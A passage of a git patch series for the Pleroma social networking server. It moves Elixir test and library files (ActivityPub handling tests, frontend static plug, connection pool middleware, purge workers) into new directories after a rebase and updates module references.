"https://channels.tests.funkwhale.audio/api/v1/listen/3901e5d8-0445-49d5-9711-e096cf32e515/?upload=42342395-0208-4fee-a38d-259a6dae0871&download=false", + "mediaType" => "audio/ogg", + "type" => "Link" + } + ] + } + ] + end +end diff --git a/test/web/activity_pub/transmogrifier/audio_handling_test.exs b/test/web/activity_pub/transmogrifier/audio_handling_test.exs deleted file mode 100644 index 0636d00c5..000000000 --- a/test/web/activity_pub/transmogrifier/audio_handling_test.exs +++ /dev/null @@ -1,83 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.AudioHandlingTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Transmogrifier - - import Pleroma.Factory - - test "it works for incoming listens" do - _user = insert(:user, ap_id: "http://mastodon.example.org/users/admin") - - data = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => [], - "type" => "Listen", - "id" => "http://mastodon.example.org/users/admin/listens/1234/activity", - "actor" => "http://mastodon.example.org/users/admin", - "object" => %{ - "type" => "Audio", - "id" => "http://mastodon.example.org/users/admin/listens/1234", - "attributedTo" => "http://mastodon.example.org/users/admin", - "title" => "lain radio episode 1", - "artist" => "lain", - "album" => "lain radio", - "length" => 180_000 - } - } - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - object = Object.normalize(activity) - - assert object.data["title"] == "lain radio episode 1" - assert object.data["artist"] == "lain" - assert object.data["album"] == "lain radio" - assert object.data["length"] == 180_000 - end - - test "Funkwhale Audio object" do - Tesla.Mock.mock(fn - %{url: "https://channels.tests.funkwhale.audio/federation/actors/compositions"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/funkwhale_channel.json") - } - end) - - data = File.read!("test/fixtures/tesla_mock/funkwhale_create_audio.json") |> Poison.decode!() - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert object = Object.normalize(activity, false) - - assert object.data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] - - assert object.data["cc"] == [] - - assert object.data["url"] == "https://channels.tests.funkwhale.audio/library/tracks/74" - - assert object.data["attachment"] == [ - %{ - "mediaType" => "audio/ogg", - "type" => "Link", - "name" => nil, - "url" => [ - %{ - "href" => - "https://channels.tests.funkwhale.audio/api/v1/listen/3901e5d8-0445-49d5-9711-e096cf32e515/?upload=42342395-0208-4fee-a38d-259a6dae0871&download=false", - "mediaType" => "audio/ogg", - "type" => "Link" - } - ] - } - ] - end -end -- cgit v1.2.3 From b081080dd9a138dccf5c3b8417913f975fdb8b52 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 2 Sep 2020 10:29:36 +0300 Subject: fixes after rebase --- lib/pleroma/plugs/frontend_static.ex | 55 ---------------------- lib/pleroma/web/endpoint.ex | 4 +- lib/pleroma/web/plugs/frontend_static.ex | 55 ++++++++++++++++++++++ lib/pleroma/web/plugs/instance_static.ex | 2 +- test/mix/tasks/pleroma/frontend_test.exs | 2 +- .../transmogrifier/event_handling_test.exs | 40 ++++++++++++++++ .../transmogrifier/event_handling_test.exs | 40 ---------------- 7 files changed, 99 insertions(+), 99 deletions(-) delete mode 100644 lib/pleroma/plugs/frontend_static.ex create mode 100644 lib/pleroma/web/plugs/frontend_static.ex create mode 100644 test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/event_handling_test.exs diff --git a/lib/pleroma/plugs/frontend_static.ex b/lib/pleroma/plugs/frontend_static.ex deleted file mode 100644 index 11a0d5382..000000000 --- a/lib/pleroma/plugs/frontend_static.ex +++ /dev/null @@ -1,55 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.FrontendStatic do - require Pleroma.Constants - - @moduledoc """ - This is a shim to call `Plug.Static` but with runtime `from` configuration`. It dispatches to the different frontends. - """ - @behaviour Plug - - def file_path(path, frontend_type \\ :primary) do - if configuration = Pleroma.Config.get([:frontends, frontend_type]) do - instance_static_path = Pleroma.Config.get([:instance, :static_dir], "instance/static") - - Path.join([ - instance_static_path, - "frontends", - configuration["name"], - configuration["ref"], - path - ]) - else - nil - end - end - - def init(opts) do - opts - |> Keyword.put(:from, "__unconfigured_frontend_static_plug") - |> Plug.Static.init() - |> Map.put(:frontend_type, opts[:frontend_type]) - end - - def call(conn, opts) do - frontend_type = Map.get(opts, :frontend_type, :primary) - path = file_path("", frontend_type) - - if path do - conn - |> call_static(opts, path) - else - conn - end - end - - defp call_static(conn, opts, from) do - opts = - opts - |> Map.put(:from, from) - - Plug.Static.call(conn, opts) - end -end diff --git a/lib/pleroma/web/endpoint.ex b/lib/pleroma/web/endpoint.ex index 6acca0db6..56562c12f 100644 --- a/lib/pleroma/web/endpoint.ex +++ b/lib/pleroma/web/endpoint.ex @@ -29,7 +29,7 @@ defmodule Pleroma.Web.Endpoint do ) # Careful! No `only` restriction here, as we don't know what frontends contain. - plug(Pleroma.Plugs.FrontendStatic, + plug(Pleroma.Web.Plugs.FrontendStatic, at: "/", frontend_type: :primary, gzip: true, @@ -41,7 +41,7 @@ defmodule Pleroma.Web.Endpoint do plug(Plug.Static.IndexHtml, at: "/pleroma/admin/") - plug(Pleroma.Plugs.FrontendStatic, + plug(Pleroma.Web.Plugs.FrontendStatic, at: "/pleroma/admin", frontend_type: :admin, gzip: true, diff --git a/lib/pleroma/web/plugs/frontend_static.ex b/lib/pleroma/web/plugs/frontend_static.ex new file mode 100644 index 000000000..ceb10dcf8 --- /dev/null +++ b/lib/pleroma/web/plugs/frontend_static.ex @@ -0,0 +1,55 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.FrontendStatic do + require Pleroma.Constants + + @moduledoc """ + This is a shim to call `Plug.Static` but with runtime `from` configuration`. It dispatches to the different frontends. + """ + @behaviour Plug + + def file_path(path, frontend_type \\ :primary) do + if configuration = Pleroma.Config.get([:frontends, frontend_type]) do + instance_static_path = Pleroma.Config.get([:instance, :static_dir], "instance/static") + + Path.join([ + instance_static_path, + "frontends", + configuration["name"], + configuration["ref"], + path + ]) + else + nil + end + end + + def init(opts) do + opts + |> Keyword.put(:from, "__unconfigured_frontend_static_plug") + |> Plug.Static.init() + |> Map.put(:frontend_type, opts[:frontend_type]) + end + + def call(conn, opts) do + frontend_type = Map.get(opts, :frontend_type, :primary) + path = file_path("", frontend_type) + + if path do + conn + |> call_static(opts, path) + else + conn + end + end + + defp call_static(conn, opts, from) do + opts = + opts + |> Map.put(:from, from) + + Plug.Static.call(conn, opts) + end +end diff --git a/lib/pleroma/web/plugs/instance_static.ex b/lib/pleroma/web/plugs/instance_static.ex index 3e6aa826b..54b9175df 100644 --- a/lib/pleroma/web/plugs/instance_static.ex +++ b/lib/pleroma/web/plugs/instance_static.ex @@ -16,7 +16,7 @@ def file_path(path) do instance_path = Path.join(Pleroma.Config.get([:instance, :static_dir], "instance/static/"), path) - frontend_path = Pleroma.Plugs.FrontendStatic.file_path(path, :primary) + frontend_path = Pleroma.Web.Plugs.FrontendStatic.file_path(path, :primary) (File.exists?(instance_path) && instance_path) || (frontend_path && File.exists?(frontend_path) && frontend_path) || diff --git a/test/mix/tasks/pleroma/frontend_test.exs b/test/mix/tasks/pleroma/frontend_test.exs index 022ae51be..6f9ec14cd 100644 --- a/test/mix/tasks/pleroma/frontend_test.exs +++ b/test/mix/tasks/pleroma/frontend_test.exs @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.FrontendTest do +defmodule Mix.Tasks.Pleroma.FrontendTest do use Pleroma.DataCase alias Mix.Tasks.Pleroma.Frontend diff --git a/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs new file mode 100644 index 000000000..7f1ef2cbd --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs @@ -0,0 +1,40 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.EventHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Object.Fetcher + + test "Mobilizon Event object" do + Tesla.Mock.mock(fn + %{url: "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/mobilizon.org-event.json") + } + + %{url: "https://mobilizon.org/@tcit"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/mobilizon.org-user.json") + } + end) + + assert {:ok, object} = + Fetcher.fetch_object_from_id( + "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" + ) + + assert object.data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] + assert object.data["cc"] == [] + + assert object.data["url"] == + "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" + + assert object.data["published"] == "2019-12-17T11:33:56Z" + assert object.data["name"] == "Mobilizon Launching Party" + end +end diff --git a/test/web/activity_pub/transmogrifier/event_handling_test.exs b/test/web/activity_pub/transmogrifier/event_handling_test.exs deleted file mode 100644 index 7f1ef2cbd..000000000 --- a/test/web/activity_pub/transmogrifier/event_handling_test.exs +++ /dev/null @@ -1,40 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.EventHandlingTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Object.Fetcher - - test "Mobilizon Event object" do - Tesla.Mock.mock(fn - %{url: "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/mobilizon.org-event.json") - } - - %{url: "https://mobilizon.org/@tcit"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/mobilizon.org-user.json") - } - end) - - assert {:ok, object} = - Fetcher.fetch_object_from_id( - "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" - ) - - assert object.data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] - assert object.data["cc"] == [] - - assert object.data["url"] == - "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" - - assert object.data["published"] == "2019-12-17T11:33:56Z" - assert object.data["name"] == "Mobilizon Launching Party" - end -end -- cgit v1.2.3 From 7f5dbb020188eebfbfdf4860bbce4f1a8d66e06f Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 8 Sep 2020 18:35:07 +0300 Subject: changes after rebase --- lib/pleroma/http/middleware/connection_pool.ex | 50 ------------------ lib/pleroma/tesla/middleware/connection_pool.ex | 50 ++++++++++++++++++ .../force_bot_unlisted_policy_test.exs | 60 ---------------------- .../mrf/force_bot_unlisted_policy_test.exs | 60 ++++++++++++++++++++++ 4 files changed, 110 insertions(+), 110 deletions(-) delete mode 100644 lib/pleroma/http/middleware/connection_pool.ex create mode 100644 lib/pleroma/tesla/middleware/connection_pool.ex delete mode 100644 test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs create mode 100644 test/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs diff --git a/lib/pleroma/http/middleware/connection_pool.ex b/lib/pleroma/http/middleware/connection_pool.ex deleted file mode 100644 index 056e736ce..000000000 --- a/lib/pleroma/http/middleware/connection_pool.ex +++ /dev/null @@ -1,50 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Tesla.Middleware.ConnectionPool do - @moduledoc """ - Middleware to get/release connections from `Pleroma.Gun.ConnectionPool` - """ - - @behaviour Tesla.Middleware - - alias Pleroma.Gun.ConnectionPool - - @impl Tesla.Middleware - def call(%Tesla.Env{url: url, opts: opts} = env, next, _) do - uri = URI.parse(url) - - # Avoid leaking connections when the middleware is called twice - # with body_as: :chunks. We assume only the middleware can set - # opts[:adapter][:conn] - if opts[:adapter][:conn] do - ConnectionPool.release_conn(opts[:adapter][:conn]) - end - - case ConnectionPool.get_conn(uri, opts[:adapter]) do - {:ok, conn_pid} -> - adapter_opts = Keyword.merge(opts[:adapter], conn: conn_pid, close_conn: false) - opts = Keyword.put(opts, :adapter, adapter_opts) - env = %{env | opts: opts} - - case Tesla.run(env, next) do - {:ok, env} -> - unless opts[:adapter][:body_as] == :chunks do - ConnectionPool.release_conn(conn_pid) - {_, res} = pop_in(env.opts[:adapter][:conn]) - {:ok, res} - else - {:ok, env} - end - - err -> - ConnectionPool.release_conn(conn_pid) - err - end - - err -> - err - end - end -end diff --git a/lib/pleroma/tesla/middleware/connection_pool.ex b/lib/pleroma/tesla/middleware/connection_pool.ex new file mode 100644 index 000000000..056e736ce --- /dev/null +++ b/lib/pleroma/tesla/middleware/connection_pool.ex @@ -0,0 +1,50 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Tesla.Middleware.ConnectionPool do + @moduledoc """ + Middleware to get/release connections from `Pleroma.Gun.ConnectionPool` + """ + + @behaviour Tesla.Middleware + + alias Pleroma.Gun.ConnectionPool + + @impl Tesla.Middleware + def call(%Tesla.Env{url: url, opts: opts} = env, next, _) do + uri = URI.parse(url) + + # Avoid leaking connections when the middleware is called twice + # with body_as: :chunks. We assume only the middleware can set + # opts[:adapter][:conn] + if opts[:adapter][:conn] do + ConnectionPool.release_conn(opts[:adapter][:conn]) + end + + case ConnectionPool.get_conn(uri, opts[:adapter]) do + {:ok, conn_pid} -> + adapter_opts = Keyword.merge(opts[:adapter], conn: conn_pid, close_conn: false) + opts = Keyword.put(opts, :adapter, adapter_opts) + env = %{env | opts: opts} + + case Tesla.run(env, next) do + {:ok, env} -> + unless opts[:adapter][:body_as] == :chunks do + ConnectionPool.release_conn(conn_pid) + {_, res} = pop_in(env.opts[:adapter][:conn]) + {:ok, res} + else + {:ok, env} + end + + err -> + ConnectionPool.release_conn(conn_pid) + err + end + + err -> + err + end + end +end diff --git a/test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs b/test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs deleted file mode 100644 index 86dd9ddae..000000000 --- a/test/pleroma/web/activity_pub/force_bot_unlisted_policy_test.exs +++ /dev/null @@ -1,60 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy - @public "https://www.w3.org/ns/activitystreams#Public" - - defp generate_messages(actor) do - {%{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{}, - "to" => [@public, "f"], - "cc" => [actor.follower_address, "d"] - }, - %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, - "to" => ["f", actor.follower_address], - "cc" => ["d", @public] - }} - end - - test "removes from the federated timeline by nickname heuristics 1" do - actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by nickname heuristics 2" do - actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by actor type Application" do - actor = insert(:user, %{actor_type: "Application"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by actor type Service" do - actor = insert(:user, %{actor_type: "Service"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end -end diff --git a/test/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs b/test/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs new file mode 100644 index 000000000..86dd9ddae --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs @@ -0,0 +1,60 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy + @public "https://www.w3.org/ns/activitystreams#Public" + + defp generate_messages(actor) do + {%{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [actor.follower_address, "d"] + }, + %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, + "to" => ["f", actor.follower_address], + "cc" => ["d", @public] + }} + end + + test "removes from the federated timeline by nickname heuristics 1" do + actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by nickname heuristics 2" do + actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Application" do + actor = insert(:user, %{actor_type: "Application"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Service" do + actor = insert(:user, %{actor_type: "Service"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end +end -- cgit v1.2.3 From bb111465a14575fb6d6cc2e11db9b217ada7c431 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sun, 13 Sep 2020 10:35:16 +0300 Subject: credo fix after rebase --- .../workers/purge_expired_activity_test.exs | 59 ++++++++++++++++++++++ test/pleroma/workers/purge_expired_token_test.exs | 51 +++++++++++++++++++ test/workers/purge_expired_activity_test.exs | 59 ---------------------- test/workers/purge_expired_token_test.exs | 51 ------------------- 4 files changed, 110 insertions(+), 110 deletions(-) create mode 100644 test/pleroma/workers/purge_expired_activity_test.exs create mode 100644 test/pleroma/workers/purge_expired_token_test.exs delete mode 100644 test/workers/purge_expired_activity_test.exs delete mode 100644 test/workers/purge_expired_token_test.exs diff --git a/test/pleroma/workers/purge_expired_activity_test.exs b/test/pleroma/workers/purge_expired_activity_test.exs new file mode 100644 index 000000000..b5938776d --- /dev/null +++ b/test/pleroma/workers/purge_expired_activity_test.exs @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.PurgeExpiredActivityTest do + use Pleroma.DataCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + alias Pleroma.Workers.PurgeExpiredActivity + + test "enqueue job" do + activity = insert(:note_activity) + + assert {:ok, _} = + PurgeExpiredActivity.enqueue(%{ + activity_id: activity.id, + expires_at: DateTime.add(DateTime.utc_now(), 3601) + }) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id} + ) + + assert {:ok, _} = + perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) + + assert %Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) + end + + test "error if user was not found" do + activity = insert(:note_activity) + + assert {:ok, _} = + PurgeExpiredActivity.enqueue(%{ + activity_id: activity.id, + expires_at: DateTime.add(DateTime.utc_now(), 3601) + }) + + user = Pleroma.User.get_by_ap_id(activity.actor) + Pleroma.Repo.delete(user) + + assert {:error, :user_not_found} = + perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) + end + + test "error if actiivity was not found" do + assert {:ok, _} = + PurgeExpiredActivity.enqueue(%{ + activity_id: "some_id", + expires_at: DateTime.add(DateTime.utc_now(), 3601) + }) + + assert {:error, :activity_not_found} = + perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: "some_if"}) + end +end diff --git a/test/pleroma/workers/purge_expired_token_test.exs b/test/pleroma/workers/purge_expired_token_test.exs new file mode 100644 index 000000000..fb7708c3f --- /dev/null +++ b/test/pleroma/workers/purge_expired_token_test.exs @@ -0,0 +1,51 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.PurgeExpiredTokenTest do + use Pleroma.DataCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + setup do: clear_config([:oauth2, :clean_expired_tokens], true) + + test "purges expired oauth token" do + user = insert(:user) + app = insert(:oauth_app) + + {:ok, %{id: id}} = Pleroma.Web.OAuth.Token.create(app, user) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredToken, + args: %{token_id: id, mod: Pleroma.Web.OAuth.Token} + ) + + assert {:ok, %{id: ^id}} = + perform_job(Pleroma.Workers.PurgeExpiredToken, %{ + token_id: id, + mod: Pleroma.Web.OAuth.Token + }) + + assert Repo.aggregate(Pleroma.Web.OAuth.Token, :count, :id) == 0 + end + + test "purges expired mfa token" do + authorization = insert(:oauth_authorization) + + {:ok, %{id: id}} = Pleroma.MFA.Token.create(authorization.user, authorization) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredToken, + args: %{token_id: id, mod: Pleroma.MFA.Token} + ) + + assert {:ok, %{id: ^id}} = + perform_job(Pleroma.Workers.PurgeExpiredToken, %{ + token_id: id, + mod: Pleroma.MFA.Token + }) + + assert Repo.aggregate(Pleroma.MFA.Token, :count, :id) == 0 + end +end diff --git a/test/workers/purge_expired_activity_test.exs b/test/workers/purge_expired_activity_test.exs deleted file mode 100644 index b5938776d..000000000 --- a/test/workers/purge_expired_activity_test.exs +++ /dev/null @@ -1,59 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.PurgeExpiredActivityTest do - use Pleroma.DataCase, async: true - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - - alias Pleroma.Workers.PurgeExpiredActivity - - test "enqueue job" do - activity = insert(:note_activity) - - assert {:ok, _} = - PurgeExpiredActivity.enqueue(%{ - activity_id: activity.id, - expires_at: DateTime.add(DateTime.utc_now(), 3601) - }) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity.id} - ) - - assert {:ok, _} = - perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) - - assert %Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) - end - - test "error if user was not found" do - activity = insert(:note_activity) - - assert {:ok, _} = - PurgeExpiredActivity.enqueue(%{ - activity_id: activity.id, - expires_at: DateTime.add(DateTime.utc_now(), 3601) - }) - - user = Pleroma.User.get_by_ap_id(activity.actor) - Pleroma.Repo.delete(user) - - assert {:error, :user_not_found} = - perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) - end - - test "error if actiivity was not found" do - assert {:ok, _} = - PurgeExpiredActivity.enqueue(%{ - activity_id: "some_id", - expires_at: DateTime.add(DateTime.utc_now(), 3601) - }) - - assert {:error, :activity_not_found} = - perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: "some_if"}) - end -end diff --git a/test/workers/purge_expired_token_test.exs b/test/workers/purge_expired_token_test.exs deleted file mode 100644 index fb7708c3f..000000000 --- a/test/workers/purge_expired_token_test.exs +++ /dev/null @@ -1,51 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.PurgeExpiredTokenTest do - use Pleroma.DataCase, async: true - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - - setup do: clear_config([:oauth2, :clean_expired_tokens], true) - - test "purges expired oauth token" do - user = insert(:user) - app = insert(:oauth_app) - - {:ok, %{id: id}} = Pleroma.Web.OAuth.Token.create(app, user) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredToken, - args: %{token_id: id, mod: Pleroma.Web.OAuth.Token} - ) - - assert {:ok, %{id: ^id}} = - perform_job(Pleroma.Workers.PurgeExpiredToken, %{ - token_id: id, - mod: Pleroma.Web.OAuth.Token - }) - - assert Repo.aggregate(Pleroma.Web.OAuth.Token, :count, :id) == 0 - end - - test "purges expired mfa token" do - authorization = insert(:oauth_authorization) - - {:ok, %{id: id}} = Pleroma.MFA.Token.create(authorization.user, authorization) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredToken, - args: %{token_id: id, mod: Pleroma.MFA.Token} - ) - - assert {:ok, %{id: ^id}} = - perform_job(Pleroma.Workers.PurgeExpiredToken, %{ - token_id: id, - mod: Pleroma.MFA.Token - }) - - assert Repo.aggregate(Pleroma.MFA.Token, :count, :id) == 0 - end -end -- cgit v1.2.3 From 5f2071c458b19311b035bf18c136e069023b7f5b Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sat, 19 Sep 2020 21:25:01 +0300 Subject: changes after rebase --- .../web/admin_api/controllers/chat_controller.ex | 2 +- .../controllers/instance_document_controller.ex | 4 +- lib/pleroma/web/fed_sockets.ex | 185 +++++++++++++++++ lib/pleroma/web/fed_sockets/fed_sockets.ex | 185 ----------------- .../article_note_validator_test.exs | 35 ++++ .../transmogrifier/article_handling_test.exs | 75 +++++++ .../transmogrifier/video_handling_test.exs | 93 +++++++++ .../admin_api/controllers/chat_controller_test.exs | 219 +++++++++++++++++++++ .../instance_document_controller_test.exs | 106 ++++++++++ test/pleroma/web/fed_sockets/fed_registry_test.exs | 124 ++++++++++++ .../web/fed_sockets/fetch_registry_test.exs | 67 +++++++ test/pleroma/web/fed_sockets/socket_info_test.exs | 118 +++++++++++ .../article_note_validator_test.exs | 35 ---- .../transmogrifier/article_handling_test.exs | 75 ------- .../transmogrifier/video_handling_test.exs | 93 --------- .../admin_api/controllers/chat_controller_test.exs | 219 --------------------- .../instance_document_controller_test.exs | 106 ---------- test/web/fed_sockets/fed_registry_test.exs | 124 ------------ test/web/fed_sockets/fetch_registry_test.exs | 67 ------- test/web/fed_sockets/socket_info_test.exs | 118 ----------- 20 files changed, 1025 insertions(+), 1025 deletions(-) create mode 100644 lib/pleroma/web/fed_sockets.ex delete mode 100644 lib/pleroma/web/fed_sockets/fed_sockets.ex create mode 100644 test/pleroma/web/activity_pub/object_validators/article_note_validator_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/transmogrifier/video_handling_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/chat_controller_test.exs create mode 100644 test/pleroma/web/admin_api/controllers/instance_document_controller_test.exs create mode 100644 test/pleroma/web/fed_sockets/fed_registry_test.exs create mode 100644 test/pleroma/web/fed_sockets/fetch_registry_test.exs create mode 100644 test/pleroma/web/fed_sockets/socket_info_test.exs delete mode 100644 test/web/activity_pub/object_validators/article_note_validator_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/article_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/video_handling_test.exs delete mode 100644 test/web/admin_api/controllers/chat_controller_test.exs delete mode 100644 test/web/admin_api/controllers/instance_document_controller_test.exs delete mode 100644 test/web/fed_sockets/fed_registry_test.exs delete mode 100644 test/web/fed_sockets/fetch_registry_test.exs delete mode 100644 test/web/fed_sockets/socket_info_test.exs diff --git a/lib/pleroma/web/admin_api/controllers/chat_controller.ex b/lib/pleroma/web/admin_api/controllers/chat_controller.ex index 967600d69..af8ff8292 100644 --- a/lib/pleroma/web/admin_api/controllers/chat_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/chat_controller.ex @@ -10,10 +10,10 @@ defmodule Pleroma.Web.AdminAPI.ChatController do alias Pleroma.Chat.MessageReference alias Pleroma.ModerationLog alias Pleroma.Pagination - alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.Web.AdminAPI alias Pleroma.Web.CommonAPI alias 